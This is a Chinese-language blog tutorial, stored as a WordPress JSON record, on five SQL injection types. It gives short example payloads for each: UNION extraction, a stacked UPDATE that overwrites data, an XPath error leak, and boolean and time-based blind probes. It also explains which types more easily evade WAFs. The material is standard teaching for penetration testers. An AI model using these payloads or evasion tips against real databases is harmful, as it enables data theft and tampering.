{"id":259,"date":"2020-08-08T00:16:33","date_gmt":"2020-08-07T16:16:33","guid":{"rendered":"http:\/\/note.systw.net\/note\/?p=259"},"modified":"2026-02-15T10:25:31","modified_gmt":"2026-02-15T02:25:31","slug":"sql-injection%e9%a1%9e%e5%9e%8b","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/259","title":{"rendered":"SQL injection\u985e\u578b"},"content":{"rendered":"\n<p>\u5728\u57f7\u884c SQL Injection \u6642\uff0c\u9700\u91dd\u5c0d\u4e0d\u540c\u7684\u8cc7\u6599\u5eab\u74b0\u5883\u8207\u9632\u8b77\u6a5f\u5236\u63a1\u53d6\u76f8\u61c9\u7684\u6ce8\u5165\u7b56\u7565\u3002\u672c\u6587\u53c3\u8003 SQLmap \u8b58\u5225\u7684\u4e94\u5927\u6280\u8853\u7dad\u5ea6\uff0c\u6574\u7406\u4e86\u5f9e\u76f4\u89c0\u7684\u8cc7\u6599\u64f7\u53d6\u5230\u96b1\u853d\u7684\u76f2\u6e2c\u6280\u8853\uff0c\u4e26\u63d0\u4f9b\u5177\u9ad4 Payload \u7bc4\u4f8b\uff0c\u4f5c\u70ba\u6ef2\u900f\u6e2c\u8a66\u6642\u7684\u5be6\u6230\u53c3\u8003\u6307\u5357\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5e38\u898b\u7684SQL injection\u6709\u4ee5\u4e0b\u5e7e\u985e<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>UNION query SQL injection<\/li>\n\n\n\n<li>Stacked queries SQL injection<\/li>\n\n\n\n<li>Error-based SQL injection<\/li>\n\n\n\n<li>Boolean-based blind SQL injection<\/li>\n\n\n\n<li>Time-based blind SQL injection<\/li>\n<\/ul>\n\n\n\n<p>refer<br>https:\/\/www.slideshare.net\/hugolu\/sql-injection-61608454<br>https:\/\/www.cnblogs.com\/leftshine\/p\/SQLInjection.html<br>https:\/\/yangxikun.github.io\/web%E5%AE%89%E5%85%A8\/2015\/11\/21\/sql-inject-type.html<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">UNION query SQL injection<\/h3>\n\n\n\n<p>\u4f7f\u2f64UNION \u5c07\u53e6\u4e00\u6bb5SELECT\u6307\u4ee4\u639b\u5728\u6b63\u5e38\u8f38\u2f0a\u5f8c\u2faf, \u4ee5\u6488\u51fa\u5404\u7a2e\u8cc7\u8a0a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ex:\n\u5047\u8a2d\u539fSQL\u5982\u4e0b\nSELECT * FROM testsql WHERE id=1\n\n\u5c0did\u6ce8\u5165\u4ee5\u4e0b\u653b\u64ca\u5b57\u4e32\n1 UNION ALL SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA\n\n\u6703\u69cb\u9020\u65b0\u7684sql\u4ee5\u6488\u53d6\u654f\u611f\u8cc7\u8a0a\nSELECT * FROM testsql WHERE id=1UNION ALL SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Stacked queries SQL injection<\/h3>\n\n\n\n<p>\u53ef\u4ee5\u57f7\u884c\u591a\u500bSQL, \u9019\u8868\u793a\u53ef\u4ee5\u5c0d\u8cc7\u6599\u5eab\u505a\u66f4\u65b0\u63d2\u5165\u7b49\u5371\u96aa\u64cd\u4f5c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ex:\n\u5047\u8a2d\u539fSQL\u5982\u4e0b\nSELECT * FROM testsql WHERE id=1\n\n\u5c0did\u6ce8\u5165\u4ee5\u4e0b\u653b\u64ca\u5b57\u4e32\n1 ;UPDATE testsql SET id = 0\n\n\u6703\u69cb\u9020\u4ee5\u4e0b\u65b0\u7684SQL\u65b0\u589e\u5167\u5bb9\nSELECT * FROM testsql WHERE id=1;UPDATE testsql SET id = 0\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Error-based SQL injection<\/h3>\n\n\n\n<p>\u5982\u679c\u9801\u9762\u80fd\u8f38\u51faSQL\u932f\u8aa4\u8a0a\u606f\uff0c\u5c31\u53ef\u4ee5\u5f9e\u4e2d\u7372\u5f97\u60f3\u8981\u7684\u8cc7\u8a0a<br>\u5e38\u898b\u6280\u5de7\u5305\u62ec<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>xpath\u8a9e\u6cd5\u932f\u8aa4, ex:extractvalue(),updatexml()<\/li>\n\n\n\n<li>\u4e3b\u9375\u91cd\u8907, ex: group by\u7684duplicate entry<\/li>\n\n\n\n<li>\u5176\u4ed6<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ex:\nextractValue(xml_frag, xpath_expr) \n\u4f7f\u7528XPath\u8868\u793a\u6cd5\u5f9eXML\u5b57\u4e32\u4e2d\u63d0\u53d6\u503c\n\n\u6b63\u78ba\u7528\u6cd5\uff0c\u5c0b\u627e\u524d\u4e00\u6bb5xml\u6587\u4ef6\u5167\u5bb9\u4e2d\u7684a\u7bc0\u9ede\u4e0b\u7684b\u7bc0\u9ede\nSELECT ExtractValue('&lt; a&gt;&lt; b&gt;&lt; b\/&gt;&lt; \/a&gt;', '\/a\/b');\n\n\u653b\u64ca\u7528\u6cd5\uff0c\u7528version()\u7684\u8fd4\u56de\u503c\u69cb\u9020\u8a9e\u6cd5\u932f\u8aa4 \nSELECT ExtractValue('&lt; a&gt;&lt; b&gt;&lt; b\/&gt;&lt; \/a&gt;', concat('=',(select version())));\n\u8fd4\u56de\u4ee5\u4e0b\u932f\u8aa4,\u4e26\u6210\u529f\u5f97\u5230version()\u7684\u8fd4\u56de\u503c\nXPATH syntax error: '=5.5.53'\n<\/code><\/pre>\n\n\n\n<p>refer<br>https:\/\/zhuanlan.zhihu.com\/p\/74907340<br>https:\/\/www.jishuwen.com\/d\/2Rt2\/zh-tw<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Content-based\/Boolean-based blind SQL injection<\/h3>\n\n\n\n<p>\u6839\u64da\u8cc7\u6599\u5eab\u7684\u662f\u5426\u6709\u56de\u8986\u8a0a\u606f\u4f86\u5224\u65b7\u662f\u5426\u6709\u5f31\u9ede<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ex:\n\u5047\u8a2d\u539fsql\u5982\u4e0b\nSELECT * FROM testsql WHERE id=1 LIMIT 0,1;\n\n\u6ce8\u5165ID\u8b8a\u6578\u731c\u6e2c\u8cc7\u6599\u7248\u672c\u662f\u5426\u70ba4.x\n1 and substring(version(),1,1)=4-- \n\n\u69cb\u9020sql\u5982\u4e0b\uff0c\u5982\u679c\u6b63\u5e38\u8f38\u51fa\u8cc7\u6599\u4ee3\u8868\u731c\u5c0d\uff0c\u5982\u679c\u4e0d\u662f\u5247\u731c\u932f\nSELECT * FROM testsql WHERE id=1 and substring(version(), 1,1)=4-- LIMIT 0,1\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Time-based blind SQL injection<\/h3>\n\n\n\n<p>\u6839\u64da\u8cc7\u6599\u5eab\u7684\u56de\u8986\u7684\u5feb\u6162\u4f86\u5224\u65b7\u662f\u5426\u6709\u6ce8\u5165\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ex:\n\u5047\u8a2d\u539fsql\u5982\u4e0b\nSELECT * FROM testsql WHERE id=1 LIMIT 0,1;\n\n\u6ce8\u5165ID\u8b8a\u6578\u731c\u6e2c\u8cc7\u6599\u7248\u672c\u662f\u5426\u70ba5.x\n1 and if( substring(version(),1,1)=5,sleep(50),1) --\n\n\u69cb\u9020sql\u5982\u4e0b\uff0c\u5982\u679c50\u79d2\u5f8c\u624d\u8f38\u51fa\u8b8a\u6162\u4ee3\u8868\u731c\u5c0d\uff0c\u5982\u679c\u4e0d\u662f\u5247\u731c\u932f\nSELECT * FROM testsql WHERE id=1 and if( substring(version(),1,1)=5,sleep(50),1) -- LIMIT 0,1;\n<\/code><\/pre>\n\n\n\n<p>refer<br>https:\/\/blog.csdn.net\/hacker234\/article\/details\/100036013<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5bb9\u6613\u7e5e\u904e\u5b89\u5168\u8a2d\u5099\u7684\u985e\u578b <\/h3>\n\n\n\n<p>\u591a\u6578\u60c5\u5883\u4e0b\uff0cB\uff08\u5e03\u6797\u76f2\u6ce8\uff09\u8ddf T\uff08\u6642\u9593\u76f2\u6ce8\uff09\u5728\u5be6\u6230\u4e2d\u7e5e\u904e\u6210\u529f\u7387\u6703\u6bd4\u8f03\u9ad8<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u76f8\u5c0d\u6bd4\u8f03\u5bb9\u6613\u7e5e\u904e\u7684\u7d44\u5408\n<ul class=\"wp-block-list\">\n<li><strong>T\uff1aTime-based blind<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u7e5e\u904e\u539f\u7406\uff1a<\/strong> \u5b83\u4e0d\u4f9d\u8cf4\u9801\u9762\u5167\u5bb9\u7684\u8b8a\u5316\uff0c\u4e5f\u4e0d\u4f9d\u8cf4\u5831\u932f\u8a0a\u606f\u3002\u5b83\u552f\u4e00\u7684\u7279\u5fb5\u662f\u300c\u5ef6\u9072\u56de\u61c9\u300d\u3002\u6709\u4e9b WAF \u5075\u6e2c\u4e0d\u5230\u300c\u5ef6\u9072\u884c\u70ba\u300d\uff0c\u53ea\u770b\u95dc\u9375\u5b57\uff0c\u4e0d\u5bb9\u6613\u76f4\u63a5 block\u3002<\/li>\n\n\n\n<li><strong>\u70ba\u4ec0\u9ebc\u5bb9\u6613\u7e5e\u904e\uff1a<\/strong> \u8a31\u591a\u57fa\u790e\u7684 WAF \u4e3b\u8981\u6aa2\u67e5 Request\u6216Response \u4e2d\u7684\u95dc\u9375\u5b57\uff08\u5982 <code>UNION SELECT<\/code> \u6216 <code>SQL Error<\/code>\uff09\u3002<\/li>\n\n\n\n<li>\u5f88\u591a\u8f15\u91cf\u7d1a WAF\uff08\u4f8b\u5982\u4e00\u4e9b CDN \u81ea\u5e36\u7684\u57fa\u790e\u9632\u8b77\uff09\u4e3b\u8981\u6383\u63cf\u7684\u662f HTTP Response \u7684\u300c\u5167\u5bb9\u300d\u3002\u56e0\u70ba\u6642\u9593\u76f2\u6ce8\u7684\u7d50\u679c\u662f\u53cd\u61c9\u5728\u300c\u6642\u9593\u300d\u800c\u975e\u300c\u56de\u50b3\u5b57\u4e32\u300d\uff0cWAF \u5982\u679c\u6c92\u6709\u5be6\u4f5c\u300c\u8acb\u6c42\u56de\u61c9\u6642\u9577\u76e3\u6e2c\u300d\uff0c\u5b83\u6839\u672c\u4e0d\u77e5\u9053\u767c\u751f\u4e86\u6ce8\u5165\u3002\u4e0d\u904e\u5982\u679c\u5de5\u5177\u6e2c\u8a66\u983b\u7387\u592a\u5feb\uff0c\u9632\u8b77\u8a2d\u5099\u6703\u767c\u73fe\u7279\u5b9a IP \u7684\u56de\u61c9\u6642\u9593\u7570\u5e38\u62c9\u9577\uff0c\u9032\u800c\u76f4\u63a5\u628a\u8a72 IP \u52a0\u5165\u9ed1\u540d\u55ae\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>B\uff1aBoolean-based blind<\/strong>\n<ul class=\"wp-block-list\">\n<li><strong>\u7e5e\u904e\u539f\u7406\uff1a<\/strong> \u900f\u904e\u89c0\u5bdf\u9801\u9762\u56de\u50b3\u5167\u5bb9\u7684\u5fae\u5c0f\u8b8a\u5316\uff08True vs False\uff09\u4f86\u63a8\u65b7\u8cc7\u6599\u3002<\/li>\n\n\n\n<li><strong>\u70ba\u4ec0\u9ebc\u5bb9\u6613\u7e5e\u904e\uff1a<\/strong> Payload \u76f8\u5c0d\u7c21\u55ae\uff08\u5982 <code>AND 1=1<\/code>\uff09\uff0c\u4e0d\u50cf UNION \u6ce8\u5165\u90a3\u6a23\u6709\u660e\u986f\u7684\u7d50\u69cb\u7279\u5fb5\u3002\u5982\u679c\u518d\u7d93\u904e\u7de8\u78bc\/\u5927\u5c0f\u5beb\u6df7\u6dc6\uff0f\u8a3b\u89e3\u63d2\u5165\u7b49 tamper\u66f4\u96e3\u767c\u73fe\uff0c\u56e0\u70ba\u5f88\u591a\u5f31\u898f\u5247\u53ea\u6703\u64cb\u300c\u5178\u578b\u6a23\u672c\u300d\u3002 <\/li>\n\n\n\n<li>\u6b64\u5a01\u529b\u5728\u65bc\u5b83\u53ef\u4ee5\u88ab\u7e2e\u6e1b\u5f97\u5f88\u5c0f\u3002\u4f8b\u5982 <code>AND 1=1<\/code> \u53ef\u4ee5\u63db\u6210 <code>AND 5>2<\/code>\u3001<code>OR 'a'&lt;'b'<\/code>\uff0c\u6216\u662f\u5229\u7528\u8cc7\u6599\u5eab\u7684\u96b1\u542b\u8f49\u63db\u3002\u9019\u7a2e\u908f\u8f2f\u6bd4\u5c0d\u662f WAF \u6700\u96e3\u5beb\u6b7b\u898f\u5247\u7684\u5730\u65b9\uff0c\u56e0\u70ba\u904e\u5ea6\u5c01\u9396\u6703\u5c0e\u81f4\u6b63\u5e38\u696d\u52d9\uff08\u4f8b\u5982\u67d0\u4e9b\u641c\u5c0b\u529f\u80fd\uff09\u767c\u751f\u8aa4\u5831\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u4e2d\u9593\u5730\u5e36\n<ul class=\"wp-block-list\">\n<li><strong>E\uff1aError-based<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u4f9d\u8cf4 DB \u628a\u932f\u8aa4\u8a0a\u606f\u56de\u50b3\u7d66\u524d\u7aef\uff0c\u4f8b\u5982 <code>XPATH syntax error<\/code> \u7b49\u3002 <\/li>\n\n\n\n<li>\u5f88\u591a WAF \u76f4\u63a5\u6514\u5e38\u898b\u932f\u8aa4\u8a0a\u606f\u6216\u5e38\u7528\u5e36\u932f\u8aa4\u7684\u51fd\u5f0f\uff0c\u4f46\u5982\u679c\u8a2d\u5099\u53ea\u505a\u7c21\u55ae signature\uff0c\u4e14\u932f\u8aa4\u8a0a\u606f\u6c92\u6709\u88ab\u906e\u7f69\uff0c\u6709\u6642\u4e5f\u80fd\u6210\u529f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>\u6700\u5bb9\u6613\u88ab\u64cb\u7684\u5169\u7a2e \n<ul class=\"wp-block-list\">\n<li><strong>U\uff1aUNION query<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u5e7e\u4e4e\u6240\u6709 WAF \u898f\u5247\u5eab\u90fd\u6703\u91dd\u5c0d <code>UNION SELECT<\/code>\u3001<code>UNION ALL SELECT<\/code> \u505a\u6aa2\u6e2c\uff0csignature \u975e\u5e38\u6210\u719f\u3002 <\/li>\n\n\n\n<li>\u5373\u4fbf\u7528 tamper\uff0c\u4f8b\u5982 randomcase\u3001\u8a3b\u89e3\u63d2\u5165\u7b49\uff0c\u4e5f\u5e38\u88ab\u6a5f\u5668\u5b78\u7fd2\/\u8a9e\u6cd5\u89e3\u6790\u578b WAF \u64cb\u6389\u3002 <\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>S\uff1aStacked queries<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u5f88\u591a\u61c9\u7528\u4f3a\u670d\u5668 \/ \u9a45\u52d5\u7a0b\u5f0f\u672c\u8eab\u5c31\u4e0d\u5141\u8a31\u591a\u8a9e\u53e5\uff0c\u4f8b\u5982 <code>; SELECT ...<\/code>  \u3002 <\/li>\n\n\n\n<li>IPS\/WAF \u4e5f\u6703\u628a <code>;<\/code> \u4e4b\u5f8c\u7684\u53ef\u7591\u8a9e\u53e5\u6a19\u6210\u9ad8\u98a8\u96aa\u3002 <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\u5728\u57f7\u884c SQL Injection \u6642\uff0c\u9700\u91dd\u5c0d\u4e0d\u540c\u7684\u8cc7\u6599\u5eab\u74b0\u5883\u8207\u9632\u8b77\u6a5f\u5236\u63a1\u53d6\u76f8\u61c9\u7684\u6ce8\u5165\u7b56\u7565\u3002\u672c\u6587\u53c3\u8003 SQLmap \u8b58\u5225\u7684\u4e94\u5927\u6280\u8853\u7dad\u5ea6\uff0c\u6574\u7406\u4e86\u5f9e\u76f4\u89c0\u7684\u8cc7\u6599\u64f7\u53d6\u5230\u96b1\u853d\u7684\u76f2\u6e2c\u6280\u8853\uff0c\u4e26\u63d0\u4f9b\u5177\u9ad4 Payload \u7bc4\u4f8b\uff0c\u4f5c\u70ba\u6ef2\u900f\u6e2c\u8a66\u6642\u7684\u5be6\u6230\u53c3\u8003\u6307\u5357\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-259","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/259","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=259"}],"version-history":[{"count":3,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/259\/revisions"}],"predecessor-version":[{"id":3047,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/259\/revisions\/3047"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=259"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=259"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=259"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}